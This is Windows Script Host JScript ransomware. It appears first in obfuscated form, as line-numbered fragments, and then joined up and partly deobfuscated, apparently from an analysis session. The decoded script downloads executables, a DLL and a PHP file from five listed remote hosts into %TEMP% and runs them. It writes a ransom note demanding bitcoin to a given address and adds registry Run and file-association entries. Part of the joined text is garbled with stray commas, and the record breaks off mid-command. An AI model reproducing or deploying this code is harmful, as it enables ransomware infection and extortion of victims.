2973	l33 = - 6767;
2974	l33 += 7256;
2975	l99[l33] = 'eL';
2976	l33 -= 7256;
2977	l33 = - 5014;
2978	l33 += 5892;
2979	l99[l33] = 'ue);fo';
2980	l33 -= 5892;
2981	l33 = - 3368;
2982	l33 += 4252;
2983	l99[l33] = '.Wr';
2984	l33 -= 4252;
2985	l33 = - 6326;
2986	l33 += 6709;
2987	l99[l33] = 'it';
2988	l33 -= 6709;
2989	l33 = - 5640;
2990	l33 += 6184;
2991	l99[l33] = '"");';
2992	l33 -= 6184;
2993	l33 = - 3269;
2994	l33 += 3846;
2995	l99[l33] = ' fp.';
2996	l33 -= 3846;
2997	l33 = - 4948;
2998	l33 += 5578;
2999	l99[l33] = 'ftwar';
3000	l33 -= 5578;
3001	l33 = - 6466;
3002	l33 += 6604;
3003	l99[l33] = '(fn+';
3004	l33 -= 6604;
3005	l33 = - 7291;
3006	l33 += 7896;
3007	l99[l33] = 'p you ';
3008	l33 -= 7896;
3009	l33 = - 7497;
3010	l33 += 8405;
3011	l99[l33] = 'Run';
3012	l33 -= 8405;
3013	l33 = - 646;
3014	l33 += 870;
3015	l99[l33] = 'lse i';
3016	l33 -= 870;
3017	l33 = - 3521;
3018	l33 += 4145;
3019	l99[l33] = ', upda';
3020	l33 -= 4145;
3021	l33 = - 2774;
3022	l33 += 3060;
3023	l99[l33] = 'var ';
3024	l33 -= 3060;
3025	l33 = - 8687;
3026	l33 += 9242;
3027	l99[l33] = 'e y';
3028	l33 -= 9242;
3029	l33 = - 8481;
3030	l33 += 8934;
3031	l99[l33] = 'om/';
3032	l33 -= 8934;
3033	l33 = - 6969;
3034	l33 += 7207;
3035	l99[l33] = '4){xa';
3036	l33 -= 7207;
3037	l33 = - 742;
3038	l33 += 1431;
3039	l99[l33] = 'FTWAR';
3040	l33 -= 1431;
3041	l33 = - 6244;
3042	l33 += 6730;
3043	l99[l33] = 'ad';
3044	l33 -= 6730;
3045	l33 = - 4667;
3046	l33 += 4820;
3047	l99[l33] = 'th;i++';
3048	l33 -= 4820;
3049	l33 = - 252;
3050	l33 += 673;
3051	l99[l33] = 'fp.W';
3052	l33 -= 673;
3053	l33 = - 1099;
3054	l33 += 1804;
3055	l99[l33] = '+cq+"';
3056	l33 -= 1804;
3057	l33 = - 8168;
3058	l33 += 8418;
3059	l99[l33] = 'hp",';
3060	l33 -= 8418;
3061	l33 = - 1385;
3062	l33 += 1810;
3063	l99[l33] = 'e("2.';
3064	l33 -= 1810;
3065	l33 = - 7450;
3066	l33 += 8189;
3067	l99[l33] = 'F /';
3068	l33 -= 8189;
3069	l33 = - 529;
3070	l33 += 996;
3071	l99[l33] = '. Send';
3072	l33 -= 996;
3073	l33 = - 3824;
3074	l33 += 4230;
3075	l99[l33] = ' htt';
3076	l33 -= 4230;
3077	l33 = - 5949;
3078	l33 += 6512;
3079	l99[l33] = '; fp';
3080	l33 -= 6512;
3081	l33 = - 7384;
3082	l33 += 7737;
3083	l99[l33] = 'teLi';
3084	l33 -= 7737;
3085	l33 = - 3924;
3086	l33 += 4731;
3087	l99[l33] = 'CR';
3088	l33 -= 4731;
3089	l33 = - 8300;
3090	l33 += 8487;
3091	l99[l33] = '; xa.';
3092	l33 -= 8487;
3093	l33 = - 1925;
3094	l33 += 2315;
3095	l99[l33] = 'e("1.';
3096	l33 -= 2315;
3097	l33 = - 2409;
3098	l33 += 2521;
3099	l99[l33] = 'DB.S';
3100	l33 -= 2521;
3101	l33 = - 3546;
3102	l33 += 4253;
3103	l99[l33] = 'ypted"';
3104	l33 -= 4253;
3105	l33 = - 9509;
3106	l33 += 9724;
3107	l99[l33] = 'fn';
3108	l33 -= 9724;
3109	l33 = - 7640;
3110	l33 += 8163;
3111	l99[l33] = '.le';
3112	l33 -= 8163;
3113	l33 = - 7691;
3114	l33 += 8114;
3115	l99[l33] = 'te';
3116	l33 -= 8114;
3117	l33 = - 3729;
3118	l33 += 4482;
3119	l99[l33] = 'q+"H';
3120	l33 -= 4482;
3121	l33 = - 319;
3122	l33 += 572;
3123	l99[l33] = 'clos';
3124	l33 -= 572;
3125	l33 = 394;
3126	l33 += 398;
3127	l99[l33] = '/y "+c';
3128	l33 -= 398;
3129	l33 = - 1770;
3130	l33 += 2536;
3131	l99[l33] = 'comman';
3132	l33 -= 2536;
3133	l33 = - 3129;
3134	l33 += 3235;
3135	l99[l33] = 'ipt';
3136	l33 -= 3235;
3137	l33 = - 6477;
3138	l33 += 6920;
3139	l99[l33] = 'p.Writ';
3140	l33 -= 6920;
3141	l33 = - 1137;
3142	l33 += 1317;
3143	l99[l33] = '; if(x';
3144	l33 -= 1317;
3145	l33 = - 2437;
3146	l33 += 2488;
3147	l99[l33] = 'cript';
3148	l33 -= 2488;
3149	l33 = - 2697;
3150	l33 += 3348;
3151	l99[l33] = 'ake';
3152	l33 -= 3348;
3153	l33 = - 2511;
3154	l33 += 3267;
3155	l99[l33] = '+"C';
3156	l33 -= 3267;
3157	l33 = - 177;
3158	l33 += 265;
3159	l99[l33] = '";';
3160	l33 -= 265;
3161	l33 = - 1844;
3162	l33 += 2124;
3163	l99[l33] = 'eExis';
3164	l33 -= 2124;
3165	l33 = - 1319;
3166	l33 += 1885;
3167	l99[l33] = 'e(';
3168	l33 -= 1885;
3169	l33 = - 2877;
3170	l33 += 3569;
3171	l99[l33] = 'roso';
3172	l33 -= 3569;
3173	l33 = 646;
3174	l33 += 145;
3175	l99[l33] = 'opy ';
3176	l33 -= 145;
3177	l33 = - 8321;
3178	l33 += 9084;
3179	l99[l33] = 'pen';
3180	l33 -= 9084;
3181	l33 = - 6679;
3182	l33 += 7251;
3183	l99[l33] = '; fp.';
3184	l33 -= 7251;
3185	l33 = - 3796;
3186	l33 += 3817;
3187	l99[l33] = 'tring.';
3188	l33 -= 3817;
3189	l33 = - 986;
3190	l33 += 1170;
3191	l99[l33] = ') { x';
3192	l33 -= 1170;
3193	l33 = - 7346;
3194	l33 += 7466;
3195	l99[l33] = 't.C';
3196	l33 -= 7466;
3197	l33 = - 4660;
3198	l33 += 4821;
3199	l99[l33] = 'T","h';
3200	l33 -= 4821;
3201	l33 = - 8060;
3202	l33 += 8962;
3203	l99[l33] = 'hp';
3204	l33 -= 8962;
3205	l33 = - 716;
3206	l33 += 1480;
3207	l99[l33] = '"+c';
3208	l33 -= 1480;
3209	l33 = - 4307;
3210	l33 += 4453;
3211	l99[l33] = '<=5;n';
3212	l33 -= 4453;
3213	l33 = - 7453;
3214	l33 += 7718;
3215	l99[l33] = '}; if(';
3216	l33 -= 7718;
3217	l33 = - 5780;
3218	l33 += 5962;
3219	l99[l33] = 'tus==';
3220	l33 -= 5962;
3221	l33 = - 1174;
3222	l33 += 1554;
3223	l99[l33] = 'ual:';
3224	l33 -= 1554;
3225	l33 = - 4290;
3226	l33 += 4586;
3227	l99[l33] = 'fp.Wr';
3228	l33 -= 4586;
3229	l33 = - 1908;
3230	l33 += 2160;
3231	l99[l33] = '}; xa.';
3232	l33 -= 2160;
3233	l33 = - 7195;
3234	l33 += 7476;
3235	l99[l33] = 'ts';
3236	l33 -= 7476;
3237	l33 = - 4291;
3238	l33 += 4824;
3239	l99[l33] = '/"+ll[';
3240	l33 -= 4824;
3241	l33 = - 4027;
3242	l33 += 4827;
3243	l99[l33] = 'Data%"';
3244	l33 -= 4827;
3245	l33 = - 162;
3246	l33 += 316;
3247	l99[l33] = ') { v';
3248	l33 -= 316;
3249	l33 = - 485;
3250	l33 += 746;
3251	l99[l33] = 'atch';
3252	l33 -= 746;
3253	l33 = - 8997;
3254	l33 += 9606;
3255	l99[l33] = '); f';
3256	l33 -= 9606;
3257	l33 = - 8231;
3258	l33 += 8287;
3259	l99[l33] = 'cri';
3260	l33 -= 8287;
3261	l33 = - 5189;
3262	l33 += 5791;
3263	l99[l33] = 'dy';
3264	l33 -= 5791;
3265	l33 = - 2620;
3266	l33 += 2841;
3267	l99[l33] = 'tch(er';
3268	l33 -= 2841;
3269	l33 = - 4558;
3270	l33 += 5338;
3271	l99[l33] = 'cq+';
3272	l33 -= 5338;
3273	l33 = - 3670;
3274	l33 += 4056;
3275	l99[l33] = '); ';
3276	l33 -= 4056;
3277	l33 = - 3967;
3278	l33 += 4165;
3279	l99[l33] = '.siz';
3280	l33 -= 4165;
3281	l33 = - 2375;
3282	l33 += 2570;
3283	l99[l33] = 'Body)';
3284	l33 -= 2570;
3285	l33 = - 673;
3286	l33 += 967;
3287	l99[l33] = 't",tr';
3288	l33 -= 967;
3289	l33 = - 949;
3290	l33 += 1570;
3291	l99[l33] = 'nsta';
3292	l33 -= 1570;
3293	l33 = - 9303;
3294	l33 += 9430;
3295	l99[l33] = 'ng.';
3296	l33 -= 9430;
3297	l33 = - 2219;
3298	l33 += 3107;
3299	l99[l33] = ';};fp';
3300	l33 -= 3107;
3301	l33 = - 3083;
3302	l33 += 3684;
3303	l99[l33] = 'bo';
3304	l33 -= 3684;
3305	l33 = - 1039;
3306	l33 += 1508;
3307	l99[l33] = 'bc+" B';
3308	l33 -= 1508;
3309	l33 = - 2132;
3310	l33 += 2815;
3311	l99[l33] = ' AD';
3312	l33 -= 2815;
3313	l33 = - 1932;
3314	l33 += 2547;
3315	l99[l33] = ' ';
3316	l33 -= 2547;
3317	l33 = - 9048;
3318	l33 += 9211;
3319	l99[l33] = '"+ll[';
3320	l33 -= 9211;
3321	l33 = - 3804;
3322	l33 += 3819;
3323	l99[l33] = '.from';
3324	l33 -= 3819;
3325	l33 = - 3362;
3326	l33 += 4201;
3327	l99[l33] = ' ws.R';
3328	l33 -= 4201;
3329	l33 = - 7684;
3330	l33 += 8288;
3331	l99[l33] = ' hel';
3332	l33 -= 8288;
3333	l33 = - 342;
3334	l33 += 935;
3335	l99[l33] = ' F';
3336	l33 -= 935;
3337	l33 = - 2326;
3338	l33 += 3129;
3339	l99[l33] = 'skto';
3340	l33 -= 3129;
3341	l33 = - 2388;
3342	l33 += 3153;
3343	l99[l33] = 's+"';
3344	l33 -= 3153;
3345	l33 = - 6178;
3346	l33 += 6281;
3347	l99[l33] = '; v';
3348	l33 -= 6281;
3349	l33 = 332;
3350	l33 += 262;
3351	l99[l33] = 'ILES."';
3352	l33 -= 262;
3353	l33 = - 9580;
3354	l33 += 9852;
3355	l99[l33] = '&& fo.';
3356	l33 -= 9852;
3357	l33 = 107;
3358	l33 += 25;
3359	l99[l33] = '"); i';
3360	l33 -= 25;
3361	l33 = - 3198;
3362	l33 += 4101;
3363	l99[l33] = '"+c';
3364	l33 -= 4101;
3365	l33 = - 1861;
3366	l33 += 2061;
3367	l99[l33] = '00) {';
3368	l33 -= 2061;
3369	l33 = - 3324;
3370	l33 += 3425;
3371	l99[l33] = 'HTTP';
3372	l33 -= 3425;
3373	l33 = - 9323;
3374	l33 += 9815;
3375	l99[l33] = '; ';
3376	l33 -= 9815;
3377	l33 = - 9131;
3378	l33 += 9534;
3379	l99[l33] = 'ite';
3380	l33 -= 9534;
3381	l33 = - 7930;
3382	l33 += 8028;
3383	l99[l33] = 'ml2';
3384	l33 -= 8028;
3385	l33 = - 9098;
3386	l33 += 9323;
3387	l99[l33] = 'f(n==3';
3388	l33 -= 9323;
3389	l33 = - 467;
3390	l33 += 491;
3391	l99[l33] = 'od';
3392	l33 -= 491;
3393	l33 = - 6132;
3394	l33 += 6739;
3395	l99[l33] = 'pt u';
3396	l33 -= 6739;
3397	l33 = - 2885;
3398	l33 += 2981;
3399	l99[l33] = 'bject(';
3400	l33 -= 2981;
3401	l33 = - 77;
3402	l33 += 491;
3403	l99[l33] = 'llet/n';
3404	l33 -= 491;
3405	l33 = - 5413;
3406	l33 += 5484;
3407	l99[l33] = 'EMP%")';
3408	l33 -= 5484;
3409	l33 = - 94;
3410	l33 += 425;
3411	l99[l33] = 'Wr';
3412	l33 -= 425;
3413	l33 = - 2671;
3414	l33 += 2694;
3415	l99[l33] = 'harC';
3416	l33 -= 2694;
3417	l33 = 119;
3418	l33 += 740;
3419	l99[l33] = 'c ';
3420	l33 -= 740;
3421	l33 = - 6626;
3422	l33 += 7536;
3423	l99[l33] = 'MSPE';
3424	l33 -= 7536;
3425	l33 = - 8314;
3426	l33 += 9159;
3427	l99[l33] = '"+fn+';
3428	l33 -= 9159;
3429	l33 = - 5480;
3430	l33 += 5798;
3431	l99[l33] = 'data';
3432	l33 -= 5798;
3433	l33 = - 4698;
3434	l33 += 5391;
3435	l99[l33] = 'ft"+cs';
3436	l33 -= 5391;
3437	l33 = - 6783;
3438	l33 += 7284;
3439	l99[l33] = 'fo';
3440	l33 -= 7284;
3441	l33 = - 7066;
3442	l33 += 7947;
3443	l99[l33] = '1000;';
3444	l33 -= 7947;
3445	l33 = - 7581;
3446	l33 += 7845;
3447	l99[l33] = '}; }; ';
3448	l33 -= 7845;
3449	l33 = - 3297;
3450	l33 += 3466;
3451	l99[l33] = 'ad="+a';
3452	l33 -= 3466;
3453	l33 = - 7922;
3454	l33 += 8622;
3455	l99[l33] = 'sion"';
3456	l33 -= 8622;
3457	l33 = - 7515;
3458	l33 += 8023;
3459	l99[l33] = 'owser ';
3460	l33 -= 8023;
3461	l33 = 84;
3462	l33 += 835;
3463	l99[l33] = 's.Ru';
3464	l33 -= 835;
3465	l33 = - 6696;
3466	l33 += 7207;
3467	l99[l33] = 'ad';
3468	l33 -= 7207;
3469	l33 = - 9009;
3470	l33 += 9847;
3471	l99[l33] = '0);';
3472	l33 -= 9847;
3473	l33 = - 2103;
3474	l33 += 2427;
3475	l99[l33] = 'r i';
3476	l33 -= 2427;
3477	l33 = - 2349;
3478	l33 += 2424;
3479	l99[l33] = ' pd=ws';
3480	l33 -= 2424;
3481	l33 = - 978;
3482	l33 += 1011;
3483	l99[l33] = 'com","';
3484	l33 -= 1011;
3485	l33 = - 7914;
3486	l33 += 8570;
3487	l99[l33] = '.Write';
3488	l33 -= 8570;
3489	l33 = - 5191;
3490	l33 += 6116;
3491	l99[l33] = '"+cq+';
3492	l33 -= 6116;
3493	l33 = - 3473;
3494	l33 += 3476;
3495	l99[l33] = 'ad="1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC';
3496	l33 -= 3476;
3497	l33 = - 870;
3498	l33 += 1148;
3499	l99[l33] = '& fo';
3500	l33 -= 1148;
3501	l33 = - 6503;
3502	l33 += 6896;
3503	l99[l33] = 'coin w';
3504	l33 -= 6896;
3505	l33 = - 9596;
3506	l33 += 9947;
3507	l99[l33] = '); fp.';
3508	l33 -= 9947;
3509	l33 = - 9026;
3510	l33 += 9159;
3511	l99[l33] = 'f ';
3512	l33 -= 9159;
3513	l33 = 310;
3514	l33 += 166;
3515	l99[l33] = '); fp.';
3516	l33 -= 166;
3517	l33 = - 4258;
3518	l33 += 4814;
3519	l99[l33] = 'our f';
3520	l33 -= 4814;
3521	l33 = - 4963;
3522	l33 += 5602;
3523	l99[l33] = ' -';
3524	l33 -= 5602;
3525	l33 = - 2969;
3526	l33 += 3891;
3527	l99[l33] = 'MSPE';
3528	l33 -= 3891;
3529	l33 = - 6200;
3530	l33 += 7111;
3531	l99[l33] = 'C% /c';
3532	l33 -= 7111;
3533	l33 = - 7700;
3534	l33 += 7916;
3535	l99[l33] = '+n+".';
3536	l33 -= 7916;
3537	l33 = - 5048;
3538	l33 += 5084;
3539	l99[l33] = 'takubi';
3540	l33 -= 5084;
3541	l33 = - 5443;
3542	l33 += 5634;
3543	l99[l33] = 'te';
3544	l33 -= 5634;
3545	l33 = - 7357;
3546	l33 += 7656;
3547	l99[l33] = '"AT';
3548	l33 -= 7656;
3549	l33 = - 2389;
3550	l33 += 2747;
3551	l99[l33] = 'ou';
3552	l33 -= 2747;
3553	l33 = - 2279;
3554	l33 += 3078;
3555	l99[l33] = '%App';
3556	l33 -= 3078;
3557	l33 = - 9369;
3558	l33 += 9813;
3559	l99[l33] = 'eLine';
3560	l33 -= 9813;
3561	l33 = - 3753;
3562	l33 += 4096;
3563	l99[l33] = 'ithm';
3564	l33 -= 4096;
3565	l33 = - 2371;
3566	l33 += 2960;
3567	l99[l33] = 'OU L';
3568	l33 -= 2960;
3569	l33 = 623;
3570	l33 += 19;
3571	l99[l33] = 'les';
3572	l33 -= 19;
3573	l33 = - 6461;
3574	l33 += 7304;
3575	l99[l33] = 'PEC%';
3576	l33 -= 7304;
3577	l33 = - 6225;
3578	l33 += 6422;
3579	l99[l33] = '(xa';
3580	l33 -= 6422;
3581	l33 = - 3475;
3582	l33 += 4032;
3583	l99[l33] = 'ile';
3584	l33 -= 4032;
3585	l33 = - 4992;
3586	l33 += 5781;
3587	l99[l33] = 'SPEC';
3588	l33 -= 5781;
3589	l33 = - 5518;
3590	l33 += 5969;
3591	l99[l33] = 'oin';
3592	l33 -= 5969;
3593	l33 = - 2528;
3594	l33 += 3362;
3595	l99[l33] = 'DEC';
3596	l33 -= 3362;
3597	l33 = - 2667;
3598	l33 += 3225;
3599	l99[l33] = 's."); ';
3600	l33 -= 3225;
3601	l33 = 2;
3602	l33 += 291;
3603	l99[l33] = '+".tx';
3604	l33 -= 291;
3605	l33 = - 9653;
3606	l33 += 9683;
3607	l99[l33] = 'an';
3608	l33 -= 9683;
3609	l33 = - 9432;
3610	l33 += 9824;
3611	l99[l33] = 'e Bit';
3612	l33 -= 9824;
3613	l33 = - 5819;
3614	l33 += 6101;
3615	l99[l33] = '(f';
3616	l33 -= 6101;
3617	l33 = - 7309;
3618	l33 += 7855;
3619	l99[l33] = '.Wri';
3620	l33 -= 7855;
3621	l33 = - 1628;
3622	l33 += 1778;
3623	l99[l33] = ' i=ld;';
3624	l33 -= 1778;
3625	l33 = - 2310;
3626	l33 += 3132;
3627	l99[l33] = 'cq+"';
3628	l33 -= 3132;
3629	l33 = - 641;
3630	l33 += 1338;
3631	l99[l33] = 's+"';
3632	l33 -= 1338;
3633	l33 = - 7904;
3634	l33 += 8291;
3635	l99[l33] = 'fp';
3636	l33 -= 8291;
3637	l33 = - 4211;
3638	l33 += 4285;
3639	l99[l33] = ' var';
3640	l33 -= 4285;
3641	l33 = - 6091;
3642	l33 += 6214;
3643	l99[l33] = 'Object';
3644	l33 -= 6214;
3645	l33 = - 4739;
3646	l33 += 5177;
3647	l99[l33] = 'p.W';
3648	l33 -= 5177;
3649	l33 = - 6896;
3650	l33 += 7278;
3651	l99[l33] = 'fp.Wr';
3652	l33 -= 7278;
3653	l33 = - 1151;
3654	l33 += 1407;
3655	l99[l33] = '(dn==1';
3656	l33 -= 1407;
3657	l33 = - 7578;
3658	l33 += 8408;
3659	l99[l33] = 's+';
3660	l33 -= 8408;
3661	l33 = - 3508;
3662	l33 += 4091;
3663	l99[l33] = 'u ';
3664	l33 -= 4091;
3665	l33 = - 3090;
3666	l33 += 3379;
3667	l99[l33] = 'rea';
3668	l33 -= 3379;
3669	l33 = 137;
3670	l33 += 631;
3671	l99[l33] = '+cq+';
3672	l33 -= 631;
3673	l33 = - 6161;
3674	l33 += 6177;
3675	l99[l33] = 'Cha';
3676	l33 -= 6177;
3677	l33 = - 8855;
3678	l33 += 9074;
3679	l99[l33] = ';}';
3680	l33 -= 9074;
3681	l33 = - 5946;
3682	l33 += 6664;
3683	l99[l33] = ',0';
3684	l33 -= 6664;
3685	l33 = - 5551;
3686	l33 += 5958;
3687	l99[l33] = 'ps:';
3688	l33 -= 5958;
3689	l33 = - 7595;
3690	l33 += 8000;
3691	l99[l33] = ' ';
3692	l33 -= 8000;
3693	l33 = - 4502;
3694	l33 += 4592;
3695	l99[l33] = 'xo=';
3696	l33 -= 4592;
3697	l33 = - 6610;
3698	l33 += 6669;
3699	l99[l33] = '"); v';
3700	l33 -= 6669;
3701	l33 = - 4693;
3702	l33 += 5357;
3703	l99[l33] = 's ma';
3704	l33 -= 5357;
3705	l33 = - 422;
3706	l33 += 1065;
3707	l99[l33] = ' can ';
3708	l33 -= 1065;
3709	l33 = - 5043;
3710	l33 += 5283;
3711	l99[l33] = 'oFil';
3712	l33 -= 5283;
3713	l33 = - 8832;
3714	l33 += 8997;
3715	l99[l33] = '+"/co';
3716	l33 -= 8997;
3717	l33 = - 4139;
3718	l33 += 4970;
3719	l99[l33] = '"Deskt';
3720	l33 -= 4970;
3721	l33 = - 8775;
3722	l33 += 8947;
3723	l99[l33] = '="+i';
3724	l33 -= 8947;
3725	l33 = - 2923;
3726	l33 += 2935;
3727	l99[l33] = ' cq=';
3728	l33 -= 2935;
3729	l99 = l99.join ( "" );	var i,d="LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM";, var ,ad="1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC,"; ,var, bc=",0.5042,6"; v,ar ,ld=0;, var, cq=,Str,ing,.from,Cha,rCode,(34); ,va,r cs=S,tring.,fromC,harC,od,e(,92); v,ar, ll=,["sh,an,ghai,zuoye.,com",",arl,et,takubi,cka.,pl",,"tamil,and,th.co,m",,"tele,kt,rim.pl,",",key33.,ru"],; var, ws=WS,cript,.Crea,teObj,ect,("WS,cri,pt,.Shell,"); v,ar, fn,=ws,.Ex,pan,dEn,viron,me,ntStr,ings(",%T,EMP%"),+cs+"a,";, var, pd=ws,.Expa,ndEn,vironm,en,tSt,rings,("%T,EMP%"),+cs+",php4t,s.d,ll,";, var ,xo=,WScr,ip,t.,Creat,eO,bject(,"Msx,ml2,.X,ML,HTTP,"),; v,ar x,a=WScr,ipt,.Cr,ea,teOb,jec,t("ADO,DB.S,tr,eam",);, v,ar, fo=WS,crip,t.C,re,ate,Object,(",Sc,ripti,ng.,Fil,eSyste,mOb,ject,"); i,f ,(!fo.,Fil,eExis,ts,(fn+,".,txt",)) { ,for,(var, n,=1;n,<=5;n,++), { f,or(var, i=ld;,i<ll.l,eng,th;i++,) { v,ar d,n=0,; try ,{ xo.o,pen(",GE,T","h,ttp://,"+ll[,i],+"/co,un,te,r/?,ad="+a,d+",&id,="+i,d+,"&rnd,="+i+,n, fa,lse); ,xo.se,nd(),; if(x,o.sta,tus==,200,) { x,a.open,(),; xa.,type,=1; x,a.wri,te,(xo.r,espon,se,Body),; if,(xa,.siz,e>10,00) {, dn=,1; if,(n<=2,){xa.s,aveTo,File(f,n+,n+,".exe,",2,);t,ry,{ws.,Run(,fn,+n+".,exe",1,,0),;},ca,tch(er,){};,} e,lse i,f(n==3,){xa,.s,av,eTo,File(f,n+".ex,e",,2),;}, els,e if(,n==,4){xa,.saveT,oFil,e(p,d,2);}, else ,if,(n==5),{xa.sa,veT,oFile(,fn+".p,hp",,2);} ,}; xa.,clos,e(); },; if,(dn==1,){ld=i,;br,eak;},; } c,atch,(e,r){,}; }; ,}; if(,fo.Fil,eExi,sts(,fn,+".e,xe") ,&& fo.,Fil,eExi,sts,(p,d) &,& fo,.Fil,eExis,ts,(f,n+".ph,p"),) { ,var ,fp=f,o.C,rea,teTe,xtFi,le(fn,+".tx,t",tr,ue); ,fp.Wr,iteLi,ne(,"AT,TENT,IO,N!"),; fp,.Writ,eLin,e(""),; fp.W,riteL,in,e(",Al,l your, docu,men,ts, p,hot,os, ,data,bases, a,nd, ot,he,r i,mport,ant pe,rso,nal f,iles"),; fp.,Wr,iteLi,ne("we,re enc,rypte,d ,using, stron,g RS,A-1,024 a,lgor,ithm, w,it,h a, u,niq,ue, key.",); fp.,Wri,teLi,ne("T,o ,restor,e y,ou,r fil,es you, ha,ve to ,pay "+,bc+," BTC ,(bi,tcoi,ns).,"); f,p.,Wri,te,Li,ne(",Pleas,e fo,llow t,his m,an,ual:,"); ,fp.Wr,it,eLin,e("",); ,fp,.Write,Lin,e("1., Creat,e Bit,coin w,all,et her,e:"); ,fp.W,ri,teLine,(""); ,fp,.Wr,ite,Line(", , htt,ps:,//,blockc,ha,in.,info/,wa,llet/n,ew",); fp,.W,riteL,ine,(""); ,fp.W,ri,te,Lin,e("2., Buy, "+bc,+" BT,C with, ca,sh,, u,sing, se,arch h,ere:,"); f,p.W,ri,teLi,ne("",); f,p.Writ,eLine,(" , h,ttps:/,/l,ocalbi,tc,oin,s.c,om/,buy_bi,tc,oin,s",); fp,.W,rit,eLi,ne(,""); f,p.,WriteL,ine("3,. Send, "+,bc+" B,TC t,o thi,s Bi,tcoin ,addr,ess:",); fp.,WriteL,ine,(""); ,fp,.W,riteLi,ne(" , , "+,ad,); f,p.Writ,eL,ine(","),; ,fp.,Write,Line(,"4. Op,en o,ne ,of t,he ,fo,llo,wing ,li,nks i,n yo,ur br,owser ,to ,downlo,ad, decry,ptor:",); fp.,Writ,eLine(,""); ,fo,r (,var ,i=0;i,<ll,.le,ngth,;i++) ,{ fp.W,rite,Line(", , , http,:/,/"+ll[,i]+",/count,er/?a=,"+,ad,); ,}; ,fp,.Writ,eLine(,"");, fp,.Wri,teL,ine(,"5,. R,un dec,ryptor, to ,restor,e y,our f,ile,s."); ,fp.Wr,it,eLine(,""),; fp,.Writ,eLin,e(,"PLEAS,E R,EMEMB,ER,:"),; fp.,WriteL,in,e("",);, fp.,Write,Line(", ,- If ,yo,u ,do no,t pay, in ,3 ,days Y,OU L,OOSE, ALL, YOUR, F,ILES.",); fp,.Wri,te,Line(", , - No,bo,dy, can, hel,p you ,exce,pt u,s.",); f,p.Wri,te,Li,ne,(" , , -, It`s, usele,ss ,to rei,nsta,ll Wi,ndows,, upda,te, ant,iv,iru,s so,ftwar,e,, etc.,"); f,p.Writ,eL,ine,(" , , -, Your ,fi,les, can ,be ,de,crypte,d o,nly, after, you m,ake, pay,me,nt.,"); fp,.Write,Li,ne(", ,- You, can ,find, thi,s ma,nual, on, your ,desk,top (,DECRY,PT.tx,t).");, fp.Cl,ose(,); ,ws.,Ru,n(,"%COMS,PE,C% /c ,REG, AD,D ",+cq+",HKCU,"+cs,+"SO,FTWAR,E"+c,s+"Mic,roso,ft"+cs,+"Win,do,ws"+c,s+",Curr,entVer,sion",+cs+",Run"+,cq+," /V ",+cq+",Cr,ypted",+cq,+" /t ,REG,_S,Z /,F /D ,"+cq,+fn+".,txt"+,cq,0,,0,); ws.,Run,("%COM,SPE,C%, /,c REG ,ADD, "+,cq,+"H,KCR,"+cs+,".cr,ypte,d"+c,q+" ,/ve ,/t REG,_SZ /,F /,D "+cq,+"C,rypt,ed"+,cq,0,0,); ws.,Run(",%COMS,PE,C% /,c REG ,AD,D "+c,q+"H,KCR,"+cs,+"C,ryp,ted"+c,s+,"sh,ell",+cs+"o,pen,"+c,s+",comman,d",+cq+," /ve, /t, REG_S,Z /F /,D "+c,q+",no,tepad.,exe ,"+,cs+,cq+,fn+".,txt",+cs+c,q+cq,,0,0,); ws,.Run(",%COM,SP.join("") ➔ "var id="LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM"; var ad="1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC"; var bc="0.50426"; var ld=0; var cq=String.fromCharCode(34); var cs=String.fromCharCode(92); var ll=["shanghaizuoye.com","arlettakubicka.pl","tamilandth.com","telektrim.pl","key33.ru"]; var ws=WScript.CreateObject("WScript.Shell"); var fn=ws.ExpandEnvironmentStrings("%TEMP%")+cs+"a"; var pd=ws.ExpandEnvironmentStrings("%TEMP%")+cs+"php4ts.dll"; var xo=WScript.CreateObject("Msxml2.XMLHTTP"); var xa=WScript.CreateObject("ADODB.Stream"); var fo=WScript.CreateObject("Scripting.FileSystemObject"); if (!fo.FileExists(fn+".txt")) { for(var n=1;n<=5;n++) { for(var i=ld;i<ll.length;i++) { var dn=0; try { xo.open("GET","http://"+ll[i]+"/counter/?ad="+ad+"&id="+id+"&rnd="+i+n, false); xo.send(); if(xo.status==200) { xa.open(); xa.type=1; xa.write(xo.responseBody); if(xa.size>1000) { dn=1; if(n<=2){xa.saveToFile(fn+n+".exe",2);try{ws.Run(fn+n+".exe",1,0);}catch(er){};} else if(n==3){xa.saveToFile(fn+".exe",2);} else if(n==4){xa.saveToFile(pd,2);} else if(n==5){xa.saveToFile(fn+".php",2);} }; xa.close(); }; if(dn==1){ld=i;break;}; } catch(er){}; }; }; if(fo.FileExists(fn+".exe") && fo.FileExists(pd) && fo.FileExists(fn+".php")) { var fp=fo.CreateTextFile(fn+".txt",true); fp.WriteLine("ATTENTION!"); fp.WriteLine(""); fp.WriteLine("All your documents, photos, databases and other important personal files"); fp.WriteLine("were encrypted using strong RSA-1024 algorithm with a unique key."); fp.WriteLine("To restore your files you have to pay "+bc+" BTC (bitcoins)."); fp.WriteLine("Please follow this manual:"); fp.WriteLine(""); fp.WriteLine("1. Create Bitcoin wallet here:"); fp.WriteLine(""); fp.WriteLine(" https://blockchain.info/wallet/new"); fp.WriteLine(""); fp.WriteLine("2. Buy "+bc+" BTC with cash, using search here:"); fp.WriteLine(""); fp.WriteLine(" https://localbitcoins.com/buy_bitcoins"); fp.WriteLine(""); fp.WriteLine("3. Send "+bc+" BTC to this Bitcoin address:"); fp.WriteLine(""); fp.WriteLine(" "+ad); fp.WriteLine(""); fp.WriteLine("4. Open one of the following links in your browser to download decryptor:"); fp.WriteLine(""); for (var i=0;i<ll.length;i++) { fp.WriteLine(" http://"+ll[i]+"/counter/?a="+ad); }; fp.WriteLine(""); fp.WriteLine("5. Run decryptor to restore your files."); fp.WriteLine(""); fp.WriteLine("PLEASE REMEMBER:"); fp.WriteLine(""); fp.WriteLine(" - If you do not pay in 3 days YOU LOOSE ALL YOUR FILES."); fp.WriteLine(" - Nobody can help you except us."); fp.WriteLine(" - It`s useless to reinstall Windows, update antivirus software, etc."); fp.WriteLine(" - Your files can be decrypted only after you make payment."); fp.WriteLine(" - You can find this manual on your desktop (DECRYPT.txt)."); fp.Close(); ws.Run("%COMSPEC% 